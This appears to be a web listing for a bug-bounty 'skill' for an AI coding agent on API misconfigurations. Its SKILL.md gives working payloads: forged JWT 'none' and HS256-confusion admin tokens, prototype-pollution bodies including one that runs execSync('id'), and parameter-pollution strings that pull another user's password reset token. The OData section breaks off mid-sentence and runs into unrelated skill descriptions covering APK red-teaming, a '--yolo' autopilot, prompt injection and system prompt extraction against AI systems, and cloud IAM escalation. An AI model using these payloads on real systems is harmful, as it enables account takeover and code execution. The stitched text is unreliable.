hunt-api-misconfig
Hunt-API-Misconfig detects API security flaws including mass assignment vulnerabilities, JWT weaknesses (null algorithm, RS256 to HS256 confusion, kid injection), prototype pollution via __proto__ injection, and HTTP verb tampering attacks. Use this skill when testing API endpoints for privilege escalation, token bypass, unprotected object mutation, and CORS misconfiguration exploits.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-api-misconfig && cp -r /tmp/hunt-api-misconfig/skills/hunt-api-misconfig ~/.claude/skills/hunt-api-misconfigSKILL.md
## 12. API SECURITY MISCONFIGURATION
### Mass Assignment
```javascript
User.update(req.body) // body has {"role": "admin"} → privilege escalation
```
### JWT None Algorithm
```python
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
```
### JWT RS256 → HS256 Algorithm Confusion
```python
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
```
### Prototype Pollution
```javascript
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
```
For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor
JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,
or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype
state reaches a later operation.
Hunt sequence:
1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects.
Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
2. **Pollute harmless marker properties.** Send variants such as:
```
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
```
3. **Trigger a separate sink.** After pollution, request account/profile/admin/job/export/search/render
endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields,
server errors mentioning object properties, changed job output, template/render errors, or command/job
behavior changes.
4. **Escalate only through learned sinks.** Candidate properties depend on the sink:
```
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
```
5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic,
export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only
when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.
### Server-Side Parameter Pollution in Backend URL / REST URL Construction
Use this when a frontend form or endpoint appears to call a server-side API on your behalf
(password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not
ordinary client-side query pollution. The server takes your input and interpolates it into a backend
URL path or query string, such as:
```
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email
```
Hunt sequence:
1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look
for form actions, `fetch(...)`, hidden CSRF fields, and the exact parameter name the browser sends.
If there is a reset/account form, test known usernames first to learn the normal success/error shape.
2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input:
`#`, `?`, `&x=y`, `/`, `../`, and encoded forms `%23`, `%3f`, `%26x=y`, `%2f`, `%2e%2e%2f`.
Distinct errors such as `Invalid route`, `API definition`, `unsupported field`, or changed returned
fields mean your value is being interpreted by a server-side URL router, not merely validated as text.
3. **Use path traversal to move inside the server-side URL.** If `username/../other-user` changes the
referenced account, the input is in a REST path segment. Then try appending route fragments such as
`/field/email`, `/field/id`, `/field/username`, `/field/passwordResetToken`, and terminate the rest
of the original backend path with `#` or `%23` when the backend URL parser honors fragments.
4. **Discover API documentation from errors.** When an error says to consult the API definition, probe
common documentation/spec paths: `/openapi.json`, `/swagger.json`, `/api-docs`, `/api/swagger.json`,
`/swagger/v1/swagger.json`, `/v3/api-docs`, and path-traversal variants that attempt to reach the
spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources
and field names.
5. **Exploit only to prove impact.** For password reset/account lookup flows, the strongest proof is a
sensitive field such as a reset token or secret for another user, then using that token in the normal
application flow to complete account takeover. Do not stop at `Invalid route`; use errors as routing
feedback.
Payload patterns to try, adapted to the observed parameter name:
```
username=administrator%23
username=administrator%3f
username=administrator%2f..%2fvictimuser
username=administrator/../victimuser
username=administrator/field/email%23
username=administrator/field/id%23
username=administrator/field/passwordResetToken%23
username=administrator%2ffield%2fpasswordResetToken%23
```
### CORS Exploitation
```bash
# Test: reflected origin + credentials
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses
```
---
## OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)
OData (Open Data Protocol) is the query layer behind **SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori,**End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.